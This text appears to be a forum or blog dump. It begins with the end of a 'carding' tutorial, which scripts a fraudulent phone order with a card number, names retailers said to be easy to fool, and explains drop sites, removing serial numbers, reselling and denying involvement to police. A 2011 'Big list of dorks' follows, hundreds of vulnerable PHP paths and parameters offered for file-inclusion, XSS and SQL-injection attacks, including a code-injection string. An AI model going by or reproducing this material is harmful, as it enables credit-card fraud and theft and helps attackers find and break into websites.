You- OK, that's what it says here. OK, I'd like to place an order for one computer card.

Steve- OK, may I have your name?

You- John Smith

Steve- OK Mr Smith, and how would you be paying for this?

You -With my mastercard

Steve - The number please?

You - 5217 5478 0004 9812

Steve (reads back for confirmation)

You- Yes sir

Steve- OK, may I have your billing address?

You- (OK this is where it gets tricky. Sometimes the place will have to call for confirmation when the billing and shipping addresses don't match. I'llsupply you with places that don't care). 1616 Mockingbird Lane, Anytown,

Anystate. 99457.

Steve- Allright, we'll ship that out to you today.

You - (The wisest choice is OVERNIGHT. Then they are in a rush to get it out, and you get it ASAP wihtout worries.). Do you ship UPS Red label?

Steve - Yes we do. That's an additional $28.

You - OK, that's fine. Sir, could I have a total on that? (Sound serious)

Steve- Yes, that comes to $727.

You - OK, thank you very much.

Steve- Thanks for calling Computer Products, have a good day.

Post Order actions

Allright, you placed the order and it seem to go flawlessly. What you need to do now is to call back and get a shippers routing number (if you are not sure that the place is totally GULLIBLE!). ALWAYS ALWAYS ALWAYS ALWAYS use United parcel Service if you can. They just leave the package at the door and leave.

Airbone Express, Federal Express, and DHL all require signatures. You either have to risk being remembered by the guy, or you have to leave a note on the door of the drop point. UPS is the easiest by far.

So, you call back to see if it shipped, and if it did, COOL! You're in business.

Picking up your stuff at the drop point

When I started out, I was under the legal driving age. So I had a friend of mine go in on me with this deal. He drove. If it's closeby, you could get away with walking or riding a bike, but you look suspicious lugging a box around with you. The onyl real way to get around the car problem is to go at night so you aren't spotted.

***** ATTENTION *****

If you are TRULY desperate for a drop site then call the place you ordered from and get the routing number. Then get the number for the local UPS/Airborne/DHL in your area. Tell them that you will pick the package up on your way to work (or some shit like that). You go in there, and SIGN THE SHEET WITH THE OPPOSITE HAND THAT YOU USUALLY WRITE WITH.

Then there is no way that you can be matched with it. Wear clothes that you usually don't, but don't go in there in a clown suit, or you'll be remembered.

You can only do this once in a while though.

Post Pickup Procedures

After you pick the package up, take ALL the stickers and marking that the shipper and place you ordered it from put on there. This way, its untraceable. Keep the box though, unless you are TRULY paranoid about your parents or whatever. Also, try and get all the serial numbers off of it. Use rubbing alcohol, a pen knife or whatever to scratch them out or peel them off. Keep the nubmers somewhere (taped on the TOP part of your door) or some other place that no one would ever dream of. They may come in handy once you know what you are doing.

Also, if you are going to resell the item (It financed part of my childhood until I got into other things) DO NOT give the person the registration and warranty unless you really trust them. If they register an item with the company, abd there happens to be serial nubmers in ROM or under some obscure chip, you could be fucked.

What to do if confronted.

If you are ver confronted by anyone (Police, Shipper, retailer) do not admit anything. Just deny you even know what they are talking about. The only way you can be caught is if they actually record you placing the order, and find you picking it up. Even then there are alot of ways out of that (Ask a trustworthy lawyer, I am not giving away ALL my secrets!). If you need an alibi in the way of "Where you got this?" just say you went to a computer show and a guy sold it to you off the back of a truck. You didn't ask him any questions, and he said he'd send you a receipt in the mail.

Have Fun!

Now you have a way to get whatever the fuck you want, when you want it! It works, beleive me. I have tallied up all the stuff I have ever done (Most is still with me) and I got a total of $67,000. Yes sixty-seven THOUSAND. That's after 3-4 years of straight carding.It would take the average kid about 67 years to save that much up. Not you though!

Additional Info

MacWareHouse- 1-800-ALL-MACS (255-6227). They carry stuff for IBM's Macs an Apple II's and maybe even Amiga's. They give you a catalog with your first order (and every time after that) or you can call them and ask for a catalog. They accept Visa/MC/Amex. Their only drawback is that they usually Ship Airborne Express. However, they GUARANTEE overnight shipping for $3. Yes, 3 bucks. Not that money is a matter to you now, but it shows that they are fucking in a hurry to get your order out the door. I have found out that they do the billing 3-4 days after you get the package. GREAT place to get what you want. UPS RED is available, however, no one in their right mind would use it, since it's like 10 times more expensive than Airborne (Macwarehouse has a deal with Airborne, Macwarehouse is their biggest sender on the East coast!). Whenever I go UPS from Macwarehouse, I just give the operator some bullshit like "Airborne won't deliver to my location overnight and I need it quickly".

That's all.

Quality Computers- 1-800-443-6697. Another Gullible place. They sell stuff for alot of computers too. They take Visa/MC/Discover. Nice place, uses UPS and ships overnight too.

BEST Products, INC. 1-800-950-BEST. They sell EVEYRTHING (if you happen to live near one of their outlets, go in there,a nd either grab a catalog, or write down the product nubmers of what you want and give them to the operator when you order! They take everything and ship everyway.

OK, now that I am just about out of this business for good (Heheh, nothings definate!) I want you to take over in my tradition of glory. It is the greatest thing that happened to my financial (and sexual) life. What chick couldn't dig you if you gave her a $1200 piece of ICE???

If you're careful, and don't go overboard, you'll never get caught. Don't tell anyone except your most trusted friends (and not even them unless you get them involved so they can't rat on you if your friendship goes sour). Even though you virtually can't get caught (even if somneone rats on you) It's always nice to be anonymous.

Well, so this is the end of this tutorial.

I hope you have enjoyed it and learned lots ;).
If you liked this tutorial and found it useful, please click the + button on the rigth bottom corner ;).

DO NOT make a reply thanking me for this awesome tut, if you want to thank me, just click the + button.

So this is it,
enjoy carding!!!

Big list of dorks

2011-07-26T21:42:00.000+08:00

rfi? lfi? xss? sqli? have fun! ;D

/*.php?include=
/*.php?page=
/*.php?secc=
/*coppercop/theme.php?THEME_DIR=
/*default.php?body=
/*default.php?page=
/*inc*.php?addr=
/*inc*.php?adresa=
/*inc*.php?base_dir=
/*inc*.php?body=
/*inc*.php?c=
/*inc*.php?category=
/*inc*.php?doshow=
/*inc*.php?ev=
/*inc*.php?get=
/*inc*.php?i=
/*inc*.php?inc=
/*inc*.php?incl=
/*inc*.php?include=
/*inc*.php?j=
/*inc*.php?k=
/*inc*.php?ki=
/*inc*.php?left=
/*inc*.php?link=
/*inc*.php?m=
/*inc*.php?menu=
/*inc*.php?modo=
/*inc*.php?open=
/*inc*.php?pg=
/*inc*.php?rub=
/*inc*.php?showpage=
/*inc*.php?sivu=
/*inc*.php?start=
/*inc*.php?str=
/*inc*.php?to=
/*inc*.php?type=
/*inc*.php?y=
/*inc/header.php/step_one.php?server_inc=
/*inc/pipe.php?HCL_path=
/*include/new-visitor.inc.php?lvc_inclu de_dir=
/*include/write.php?dir=
/*includes/header.php?systempath=
/*index.php?arquivo=
/*index.php?url=
/*install/index.php?lng=../../include/main.inc&G_PATH=
/*mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
/*pivot/modules/module_db.php?pivot_path=
/*support/mailling/maillist/inc/initdb.php?absolute_path=
/*zentrack/index.php?configFile=
/.gov.br/index.php?arquivo=
/?p=
/?pag=
/?page=
/?pg=
/PhpLinkExchange/bits_listings.php?svr_roo tPhpStart=
/addpost_newpoll.php?addpo ll=preview&thispath=
/admin/index.php?o=
/admin_modules/admin_module_deldir.inc.p hp?config[path_src_include]=
/administrator/components/com_serverstat/install.serverstat.php?mo sConfig_absolute_path=
/administrator/components/com_uhp/uhp_config.php?mosConfig_ absolute_path=
/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=
/appserv/main.php?appserv_root=
/bz/squito/photolist.inc.php?photoro ot=
/calendar.php?l=
/calendar.php?p=
/calendar.php?pg=
/calendar.php?s=
/chat/inc/cmses/aedating4CMS.php?dir[inc]=
/class.mysql.php?path_to_b t_dir=
/classes.php?LOCAL_PATH=
/classes/adodbt/sql.php?classes_dir=
/classified_right.php?lang uage_dir=
/codebb/lang_select?phpbb_root_pa th=
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
/components/com_cpg/cpg.php?mosConfig_absolut e_path=
/components/com_extcalendar/admin_events.php?CONFIG_E XT[LANGUAGES_DIR]=
/components/com_extended_registration/registration_detailed.inc .php?mosConfig_absolute_p ath=
/components/com_facileforms/facileforms.frame.php?ff_ compath=
/components/com_forum/download.php?phpbb_root_p ath=
/components/com_mp3_allopass/allopass-error.php?mosConfig_live_ site=
/components/com_mp3_allopass/allopass.php?mosConfig_li ve_site=
/components/com_mtree/Savant2/Savant2_Plugin_textarea.p hp?mosConfig_absolute_pat h=
/components/com_rsgallery/rsgallery.html.php?mosCon fig_absolute_path=
/components/com_simpleboard/image_upload.php?sbp=
/components/com_smf/smf.php?mosConfig_absolut e_path=
/components/com_zoom/includes/database.php?mosConfig_ab solute_path=
/config.inc.php?path_escap e=
/contenido/classes/class.inuse.php
/contrib/yabbse/poc.php?poc_root_path=
/default.php?page=
/default.php?page=home
/embed/day.php?path=
/exibir.php?arquivo=
/extensions/moblog/moblog_lib.php?basedir=
/functions.php?include_pat h=
/header.php?abspath=
/help_text_vars.php?cmd=di r&PGV_BASE_DIRECTORY=
/inc/cmses/aedating4CMS.php?dir[inc]=
/inc/header.php/step_one.php?server_inc=
/inc/irayofuncs.php?irayodirha ck=
/include.php?path[docroot]=
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/include/main.php?config[search_disp]=true&include_dir=
/include/write.php?dir=
/includes/dbal.php?eqdkp_root_path=
/includes/functions_portal.php?phpb b_root_path=
/includes/kb_constants.php?module_r oot_path=
/includes/openid/Auth/OpenID/BBStore.php?openid_root_p ath=
/includes/orderSuccess.inc.php?glob =1&cart_order_id=1&glob[rootDir]=
/index.php?_REQUEST=&_REQU EST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_abs olute_path=
/index.php?classified_path =
/index.php?cms=
/index.php?dn=
/index.php?id=&lang=
/index.php?id=&page=
/index.php?lang=en&cat=
/index.php?lang=en&page=
/index.php?ln=
/index.php?loc=
/index.php?loc=&cat=
/index.php?loc=&lang=
/index.php?loc=&page=
/index.php?loc=start&page=
/index.php?seccion=
/index.php?seite=
/index.php?skin_file=
/index.php?slang=
/index.php?vis=
/index1.php?ln=
/intern/admin/?rootdir=
/intern/admin/other/backup.php?admin=1&rootdi r=
/intern/clan/member_add.php?rootdir=
/intern/config/forum.php?rootdir=
/intern/config/key_2.php?rootdir=
/interna.php?meio=
/jscript.php?my_ms[root]=
/language/lang_english/lang_main_album.php?phpbb _root_path=
/lib/db/ez_sql.php?lib_path=
/lib/static/header.php?set_menu=
/login.php?dir=
/main.php?sayfa=
/mcf.php?content=
/modules/4nAlbum/public/displayCategory.php?basep ath=
/modules/Forums/admin/admin_db_utilities.php?ph pbb_root_path=
/modules/Forums/admin/admin_styles.php?phpbb_ro ot_path=
/modules/My_eGallery/public/displayCategory.php?basep ath=
/modules/PNphpBB2/includes/functions_admin.php?phpbb _root_path=
/modules/TotalCalendar/about.php?inc_dir=
/modules/agendax/addevent.inc.php?agendax_ path=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/kernel/system/startup.php?CFG_PHPGIGGLE _ROOT=
/modules/newbb_plus/class/forumpollrenderer.php?bbP ath[path]=
/modules/postguestbook/styles/internal/header.php?tpl_pgb_moddir =
/modules/vwar/admin/admin.php?vwar_root=
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/modules/xoopsgallery/upgrade_album.php?GALLERY _BASEDIR=
/nuboard_v0.5/admin/index.php?site=
/openi-admin/base/fileloader.php?config[openi_dir]=
/palportal/index.php?page=
/photoalb/lib/static/header.php?set_menu=
/phpopenchat/contrib/yabbse/poc.php?sourcedir=
/phpsecurityadmin/include/logout.php?PSA_PATH=
/poll/comments.php?id={${includ e($ddd)}}{${exit()}}&ddd=
/popup_window.php?site_isp _root=
/ppa/inc/functions.inc.php?config[ppa_root_path]=
/protection.php?action=log out&siteurl=
/read.php?fpage=
/skin/zero_vote/ask_password.php?dir=
/skin/zero_vote/error.php?dir=
/sources/functions.php?CONFIG[main_path]=
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=
/sources/template.php?CONFIG[main_path]=
/spid/lang/lang.php?lang_path=
/squirrelcart/cart_content.php?cart_isp _root=
/squito/photolist.inc.php?photoro ot=
/surveys/survey.inc.php?path=
/tags.php?BBCodeFile=
/tellmatic/include/libchart-1.1/libchart.php?tm_includepa th=
/templates/headline_temp.php?nst_inc =
/templates/mangobery/footer.sample.php?Site_Pa th=
/tools/send_reminders.php?includ edir=
/tools/send_reminders.php?noSet= 0&includedir=
/trans/trans.php?trans=&p=
/trans/trans.php?trans=&page=
/trans/trans.php?trans=en&page=
/trans/trans.php?trans=eng&page=
/trans/trans.php?trans=fr&page=
/trans/trans.php?trans=ko&page=
/ws/get_events.php?includedir =
/ws/get_reminders.php?include dir=
/ws/login.php?includedir=
/yabbse/Sources/Packages.php?sourcedir=
/zipndownload.php?PP_PATH=
/?mosConfig_absolute_path=
/Decoder.php?base_dir=
/Encoder.php?base_dir=
/GradeMap/index.php?page=
/Index.php?id=
/My_eGallery/public/displayCategory.php?basep ath=
/NuclearBB/tasks/send_queued_emails.php?ro ot_path=
/PHPDJ_v05/dj/djpage.php?page=
/SQuery/lib/gore.php?libpath=
/[MyAlbum_DIR]/language.inc.php?langs_di r=
/[Script
/access/login.php?path_to_root=
/account.php?action=
/accounts.php?command=
/active/components/xmlrpc/client.php?c[components]=
/addmedia.php?factsfile[$LANGUAGE]=
/admin.php?cal_dir=
/admin.php?page=
/admin/auth.php?xcart_dir=
/admin/doeditconfig.php?thispath =../includes&config[path]=
/admin/inc/change_action.php?format_ menue=
/admin/include/header.php?repertoire=
/admincp/auth/checklogin.php?cfgProgDir =
/administrator/components/com_a6mambocredits/admin.a6mambocredits.php? mosConfig_live_site=
/administrator/components/com_comprofiler/plugin.class.php?mosConfi g_absolute_path=
/administrator/components/com_cropimage/admin.cropcanvas.php?crop imagedir=
/administrator/components/com_jcs/jcs.function.php?mosConfi g_absolute_path=
/administrator/components/com_jcs/view/register.php?mosConfig_ab solute_path=
/administrator/components/com_joom12pic/admin.joom12pic.php?mosCo nfig_live_site=
/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?m osConfig_live_site=
/administrator/components/com_linkdirectory/toolbar.linkdirectory.htm l.php?mosConfig_absolute_ path=
/administrator/components/com_mgm/help.mgm.php?mosConfig_ab solute_path=
/administrator/components/com_peoplebook/param.peoplebook.php?mosC onfig_absolute_path=
/administrator/components/com_remository/admin.remository.php?mosC onfig_absolute_path=
/administrator/components/com_webring/admin.webring.docs.php?co mponent_dir=
/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=
/agendax/addevent.inc.php?agendax_ path=
/akocomments.php?mosConfig _absolute_path=
/al_initialize.php?alpath=
/album_portal.php?phpbb_ro ot_path=
/all"*/newbb/print.php?forum=*topic_id =*"
/all"*/newbb_plus/*="
/all"*/news/archive.php?op=*year=*mon th=*"
/all"*/tsep/include/colorswitch.php?tsep_conf ig[absPath]=*"
/all".php?Page_ID="
/all".php?S="
/all".php?_REQUEST=&_REQUE ST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_abs olute_path="
/all".php?a="
/all".php?abrir="
/all".php?act="
/all".php?action="
/all".php?ad="
/all".php?archive="
/all".php?area="
/all".php?article="
/all".php?b="
/all".php?back="
/all".php?base="
/all".php?basedir="
/all".php?bbs="
/all".php?board_no="
/all".php?body="
/all".php?c="
/all".php?cal_dir="
/all".php?cat="
/all".php?category="
/all".php?choice="
/all".php?class="
/all".php?club_id="
/all".php?cod.tipo="
/all".php?cod="
/all".php?conf="
/all".php?configFile="
/all".php?cont="
/all".php?corpo="
/all".php?cvsroot="
/all".php?d="
/all".php?da="
/all".php?date="
/all".php?debug="
/all".php?debut="
/all".php?default="
/all".php?destino="
/all".php?dir="
/all".php?display="
/all".php?east="
/all".php?f="
/all".php?f_content="
/all".php?file="
/all".php?file_id="
/all".php?filepath="
/all".php?flash="
/all".php?folder="
/all".php?for="
/all".php?form="
/all".php?formatword="
/all".php?from="
/all".php?funcao="
/all".php?function="
/all".php?g="
/all".php?get="
/all".php?go="
/all".php?gorumDir="
/all".php?goto="
/all".php?h="
/all".php?headline="
/all".php?i="
/all".php?inc="
/all".php?include="
/all".php?includedir="
/all".php?inter="
/all".php?item_id="
/all".php?itemid="
/all".php?j="
/all".php?join="
/all".php?jojo="
/all".php?l="
/all".php?la="
/all".php?lan="
/all".php?lang="
/all".php?lest="
/all".php?link="
/all".php?load="
/all".php?loc="
/all".php?m="
/all".php?main="
/all".php?meio.php="
/all".php?meio="
/all".php?menu="
/all".php?menuID="
/all".php?mep="
/all".php?mid="
/all".php?month="
/all".php?mostra="
/all".php?my="
/all".php?n="
/all".php?name="
/all".php?nav="
/all".php?new="
/all".php?news="
/all".php?next="
/all".php?nextpage="
/all".php?o="
/all".php?op="
/all".php?open="
/all".php?option="
/all".php?origem="
/all".php?p="
/all".php?pageurl="
/all".php?para="
/all".php?part="
/all".php?perm="
/all".php?pg="
/all".php?pid="
/all".php?place="
/all".php?play="
/all".php?plugin="
/all".php?pm_path="
/all".php?pollname="
/all".php?post="
/all".php?pr="
/all".php?prefix="
/all".php?prefixo="
/all".php?q="
/all".php?redirect="
/all".php?ref="
/all".php?refid="
/all".php?regionId="
/all".php?release="
/all".php?release_id="
/all".php?return="
/all".php?root="
/all".php?searchcode_id="
/all".php?sec="
/all".php?secao="
/all".php?sect="
/all".php?sel="
/all".php?server="
/all".php?servico="
/all".php?sg="
/all".php?shard="
/all".php?show="
/all".php?sid="
/all".php?site="
/all".php?sourcedir="
/all".php?start="
/all".php?storyid="
/all".php?str="
/all".php?subd="
/all".php?subdir="
/all".php?subject="
/all".php?sufixo="
/all".php?systempath="
/all".php?t="
/all".php?task="
/all".php?teste="
/all".php?theme_dir="
/all".php?thread_id="
/all".php?tid="
/all".php?title="
/all".php?to="
/all".php?topic_id="
/all".php?type="
/all".php?u="
/all".php?url="
/all".php?urlFrom="
/all".php?v="
/all".php?var="
/all".php?vi="
/all".php?view="
/all".php?visual="
/all".php?wPage="
/all".php?y="
/all".php?z="
/all".php?zo="
/all"/include/init.inc.php?CPG_M_DIR="
/all"/includes/mx_functions_ch.php?phpbb _root_path="
/all"/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]="
/allPackages.php?sourcedir =
/all_functions.php?prefix
/all_functions.php?prefix=
/alladdedit.php?root_dir=
/alladdevent.inc.php?agend ax_path=
/alladmin.php?cal_dir=
/allaffich.php?base=
/allalbum_portal.php?phpbb _root_path=
/allcom_extended_registrat ion
/allcontacts.php?cal_dir=
/allconvert-date.php?cal_dir=
/alldefault.php?page=
/alldefault/theme.php?THEME_DIR=
/alldisplayCategory.php?ba sepath=
/alleditor.php?root=
/allexibir.php?abre=
/allexibir.php?get=
/allexibir.php?lang=
/allexibir.php?p=
/allexibir.php?page=
/allexpanded.php?conf=
/allgrademade/index.php?page=
/allheader.php?systempath=
/allinclude.php?gorumDir=
/allindex.php?a=
/allindex.php?acao=
/allindex.php?action=
/allindex.php?b=
/allindex.php?c=
/allindex.php?cal=
/allindex.php?configFile=
/allindex.php?d=
/allindex.php?directfile=
/allindex.php?e=
/allindex.php?f=
/allindex.php?funcion=
/allindex.php?g=
/allindex.php?gorumdir=
/allindex.php?h=
/allindex.php?i=
/allindex.php?include=
/allindex.php?ir=
/allindex.php?j=
/allindex.php?k=
/allindex.php?l=
/allindex.php?ll=
/allindex.php?lng=../../include/main.inc&G_PATH=
/allindex.php?lnk=
/allindex.php?loc=
/allindex.php?lv1=
/allindex.php?m=
/allindex.php?meio.php=
/allindex.php?middle=
/allindex.php?n=
/allindex.php?o=
/allindex.php?open=
/allindex.php?p=
/allindex.php?page=
/allindex.php?pageurl=
/allindex.php?path=
/allindex.php?pg=
/allindex.php?prefix=
/allindex.php?q=
/allindex.php?r=
/allindex.php?root_PATH=
/allindex.php?s=
/allindex.php?secao=
/allindex.php?seite=
/allindex.php?server=
/allindex.php?sub2=
/allindex.php?sub=
/allindex.php?t=
/allindex.php?theme=
/allindex.php?u=
/allindex.php?v=
/allindex.php?visualizar=
/allindex.php?x=
/allindex.php?y=
/allindex.php?z=
/allindex2.php?a=
/allindex2.php?acao=
/allindex2.php?b=
/allindex2.php?c=
/allindex2.php?cal=
/allindex2.php?cont=
/allindex2.php?content=
/allindex2.php?d=
/allindex2.php?directfile=
/allindex2.php?e=
/allindex2.php?f=
/allindex2.php?funcion=
/allindex2.php?g=
/allindex2.php?gorumdir=
/allindex2.php?h=
/allindex2.php?i=
/allindex2.php?j=
/allindex2.php?k=
/allindex2.php?l=
/allindex2.php?lang=
/allindex2.php?language=
/allindex2.php?ll=
/allindex2.php?lnk=
/allindex2.php?lv1=
/allindex2.php?m=
/allindex2.php?n=
/allindex2.php?o=
/allindex2.php?p=
/allindex2.php?pag=
/allindex2.php?path=
/allindex2.php?pg=
/allindex2.php?prefix=
/allindex2.php?q=
/allindex2.php?r=
/allindex2.php?root_PATH=
/allindex2.php?s=
/allindex2.php?server=
/allindex2.php?sub2=
/allindex2.php?sub=
/allindex2.php?t=
/allindex2.php?theme=
/allindex2.php?u=
/allindex2.php?v=
/allindex2.php?x=
/allindex2.php?y=
/allindex2.php?z=
/allindex2:php?aa=
/allindex3:php?aa=
/allindex5.php?body=
/allindex5.php?cat=
/allindex5.php?configFile=
/allindex5.php?cont=
/allindex5.php?content=
/allindex5.php?do=
/allindex5.php?inc=
/allindex5.php?include=
/allindex5.php?lang=
/allindex5.php?language=
/allindex5.php?lv1=
/allindex5.php?m=
/allindex5.php?main=
/allindex5.php?open=
/allindex5.php?p=
/allindex5.php?pag=
/allindex5.php?page=
/allindex5.php?pagina=
/allindex5.php?pg=
/allindex5.php?root=
/allindex5.php?site=
/allindex5.php?visualizar=
/allindex5.php?x=
/allindex_table.php?root_d ir=
/allinit.inc.php?CPG_M_DIR =
/allinit.php?HTTP_POST_VAR S=
/allinitdb.php?absolute_pa th=
/alllib.inc.php?pm_path=
/alllib.php?root=
/allmain.php?page=
/allmain.php?x=
/allmainfile.php?MAIN_PATH =
/allmod_mainmenu.php?mosCo nfig_absolute_path=
/allmodule_db.php?pivot_pa th=
/allnew-visitor.inc.php?lvc_inclu de_dir=
/allphpshop/index.php?base_dir=
/allpipe.php?HCL_path=
/allsecure_img_render.php? p=
/allstart_lobby.php?CONFIG[MWCHAT_Libs]=
/allstep_one.php?server_in c=
/allstep_one_tables.php?se rver_inc=
/alltemplate.php?pagina=
/alltheme.php?THEME_DIR=
/allupgrade_album.php?GALL ERY_BASEDIR=
/allview.php?root_dir=
/allviewgantt.php?root_dir =
/allvw_files.php?root_dir=
/allwrite.php?dir=
/amember/plugins/payment/linkpoint/linkpoint.inc.php?config[root_dir]=
/announcements.php?phpraid _dir=
/app/webeditor/login.cgi?username=&comma nd=simple&do=edit&passwor d=&file=
/apps/apps.php?app=
/arg.php?arg=
/args.php?arg=
/arquivo.php?data=
/article.php?sid=
/articles.cgi?a=34&t=
/atom.php5?page=
/auktion.pl?menue=
/auto.php?inc=
/auto.php?page=
/avatar.php?page=
/base.php?*[*]*=
/base.php?abre=
/base.php?adresa=
/base.php?base_dir=
/base.php?basepath=
/base.php?body=
/base.php?category=
/base.php?chapter=
/base.php?choix=
/base.php?cont=
/base.php?disp=
/base.php?doshow=
/base.php?ev=
/base.php?eval=
/base.php?f1=
/base.php?filepath=
/base.php?home=
/base.php?id=
/base.php?incl=
/base.php?include=
/base.php?ir=
/base.php?itemnav=
/base.php?k=
/base.php?ki=
/base.php?l=
/base.php?lang=
/base.php?link=
/base.php?loc=
/base.php?mid=
/base.php?middle=
/base.php?middlePart=
/base.php?module=
/base.php?name=
/base.php?numero=
/base.php?oldal=
/base.php?opcion=
/base.php?pa=
/base.php?pag=
/base.php?pageweb=
/base.php?panel=
/base.php?path=
/base.php?phpbb_root_path=
/base.php?play=
/base.php?pname=
/base.php?rub=
/base.php?seccion=
/base.php?second=
/base.php?seite=
/base.php?sekce=
/base.php?sivu=
/base.php?str=
/base.php?subject=
/base.php?t=
/base.php?texto=
/base.php?to=
/base.php?v=
/base.php?var=
/base.php?w=
/bb_usage_stats/include/bb_usage_stats.php?phpbb_ root_path=
/beacon/language/1/splash.lang.php?languageP ath=
/becommunity/community/index.php?pageurl=
/big.php?pathtotemplate=
/biznews.cgi?a=33&t=
/blank.php?OpenPage=
/blank.php?abre=
/blank.php?action=
/blank.php?base_dir=
/blank.php?basepath=
/blank.php?body=
/blank.php?category=
/blank.php?channel=
/blank.php?corpo=
/blank.php?destino=
/blank.php?dir=
/blank.php?filepath=
/blank.php?get=
/blank.php?goFile=
/blank.php?goto=
/blank.php?h=
/blank.php?header=
/blank.php?id=
/blank.php?in=
/blank.php?incl=
/blank.php?ir=
/blank.php?itemnav=
/blank.php?j=
/blank.php?ki=
/blank.php?lang=
/blank.php?left=
/blank.php?link=
/blank.php?loader=
/blank.php?menu=
/blank.php?mod=
/blank.php?name=
/blank.php?o=
/blank.php?oldal=
/blank.php?open=
/blank.php?pa=
/blank.php?page=
/blank.php?pagina=
/blank.php?panel=
/blank.php?path=
/blank.php?phpbb_root_path =
/blank.php?pname=
/blank.php?pollname=
/blank.php?pr=
/blank.php?pre=
/blank.php?pref=
/blank.php?qry=
/blank.php?read=
/blank.php?ref=
/blank.php?rub=
/blank.php?section=
/blank.php?sivu=
/blank.php?sp=
/blank.php?strona=
/blank.php?subject=
/blank.php?t=
/blank.php?url=
/blank.php?var=
/blank.php?where=
/blank.php?xlink=
/blank.php?z=
/board.php?see=
/book.php5?page=
/calendar.pl?command=login &fromTemplate=
/canal.php?meio=
/ccbill/whereami.cgi?g=ls
/cgi-bin/1/cmd.cgi
/cgi-bin/acart/acart.pl?&page=
/cgi-bin/awstats.pl?update=1&logfi le=
/cgi-bin/awstats/awstats.pl?configdir
/cgi-bin/bbs/read.cgi?file=
/cgi-bin/bp/bp-lib.pl?g=
/cgi-bin/hinsts.pl?
/cgi-bin/ikonboard.cgi
/cgi-bin/index.cgi?page=
/cgi-bin/jammail.pl?job=showoldmai l&mail=
/cgi-bin/probe.cgi?olddat=
/cgi-bin/quikstore.cgi?category=
/cgi-bin/telnet.cgi
/cgi-bin/ubb/ubb.cgi?g=
/cgi-sys/guestbook.cgi?user=cpanel &template=
/claroline/inc/claro_init_header.inc.php ?includePath=
/classes/core/language.php?rootdir=
/cmd.php?arg=
/common/func.php?CommonAbsDir=
/components/com_artlinks/artlinks.dispnew.php?mosC onfig_absolute_path=
/components/com_colorlab/admin.color.php?mosConfig _live_site=
/components/com_extcalendar/admin_events.php?CONFIG_E XT[LANGUAGES_DIR]=
/components/com_extended_registration/registration_detailed.inc .php?mosConfig_absolute_p ath=
/components/com_forum/download.php?phpbb_root_p ath=
/components/com_galleria/galleria.html.php?mosConf ig_absolute_path=
/components/com_mp3_allopass/allopass.php?mosConfig_li ve_site=
/components/com_mtree/Savant2/Savant2_Plugin_stylesheet .php?mosConfig_absolute_p ath=
/components/com_performs/performs.php?mosConfig_ab solute_path=
/components/com_phpshop/toolbar.phpshop.html.php? mosConfig_absolute_path=
/components/com_rsgallery/rsgallery.html.php?mosCon fig_absolute_path=
/components/com_simpleboard/image_upload.php?sbp=
/config.inc.php?_path=
/config.php?fpath=
/config.php?path_to_root=
/config.php?xcart_dir=
/contacts.php?cal_dir=
/contenido.php?sec=
/content.php?inc=
/content.php?page=
/content.php?seite=
/content/article.php?ide=
/content/modify_go.php?pwfile=
/contrib/mx_glance_sdesc.php?mx_ro ot_path=
/convert-date.php?cal_dir=
/convert/mvcw.php?step=1&vwar_root =
/convert/mvcw.php?vwar_root=
/coppercop/theme.php?THEME_DIR=
/csv_db/csv_db.cgi?fil
/customer/product.php?xcart_dir=
/cyberfolio/portfolio/msg/view.php?av=
/data/compatible.php?module_nam e=
/database.php?mosConfig_ab solute_path=
/db.php?path_local=
/dbase.php?action=
/dbmodules/DB_adodb.class.php?PHPOF_ INCLUDE_PATH=
/default.php?*root*=
/default.php?abre=
/default.php?arquivo=
/default.php?base_dir=
/default.php?basepath=
/default.php?body=
/default.php?channel=
/default.php?chapter=
/default.php?choix=
/default.php?cmd=
/default.php?cont=
/default.php?destino=
/default.php?e=
/default.php?eval=
/default.php?f=
/default.php?goto=
/default.php?header=
/default.php?id=
/default.php?inc=
/default.php?incl=
/default.php?include=
/default.php?index=
/default.php?ir=
/default.php?itemnav=
/default.php?k=
/default.php?ki=
/default.php?l=
/default.php?left=
/default.php?load=
/default.php?loader=
/default.php?loc=
/default.php?m=
/default.php?menu=
/default.php?menue=
/default.php?mid=
/default.php?mod=
/default.php?module=
/default.php?n=
/default.php?name=
/default.php?nivel=
/default.php?oldal=
/default.php?opcion=
/default.php?option=
/default.php?p=
/default.php?pa=
/default.php?pag=
/default.php?page=
/default.php?pageweb=
/default.php?panel=
/default.php?param=
/default.php?play=
/default.php?pr=
/default.php?pre=
/default.php?read=
/default.php?ref=
/default.php?rub=
/default.php?secao=
/default.php?secc=
/default.php?seccion=
/default.php?seite=
/default.php?showpage=
/default.php?sivu=
/default.php?sp=
/default.php?str=
/default.php?strona=
/default.php?t=
/default.php?thispage=
/default.php?tipo=
/default.php?to=
/default.php?type=
/default.php?v=
/default.php?var=
/default.php?vis=
/default.php?x=
/default.php?y=
/define.php?term=
/deportes.cgi?a=latest&t=
/detail.php?prod=
/details.php?loc=
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.list.php? set_depth=
/dfd_cart/app.lib/product.control/core.php/customer.area/customer.browse.search.ph p?set_depth=
/dfd_cart/app.lib/product.control/core.php/product.control.config.ph p?set_depth=
/direct.php?loc=
/directions.php?loc=
/display.php?f=
/display.php?file=
/display.php?l=
/display.php?lang=
/display.php?ln=
/display.php?p=
/display.php?pag=
/display.php?page=
/display.php?page=&lang=
/display.php?pg=
/display.php?s=
/display.php?table=
/dotproject/modules/files/index_table.php?root_dir=
/dotproject/modules/projects/addedit.php?root_dir=
/dotproject/modules/projects/view.php?root_dir=
/dotproject/modules/projects/vw_files.php?root_dir=
/dotproject/modules/tasks/addedit.php?root_dir=
/dotproject/modules/tasks/viewgantt.php?root_dir=
/down*.php?OpenPage=
/down*.php?action=
/down*.php?addr=
/down*.php?channel=
/down*.php?choix=
/down*.php?cmd=
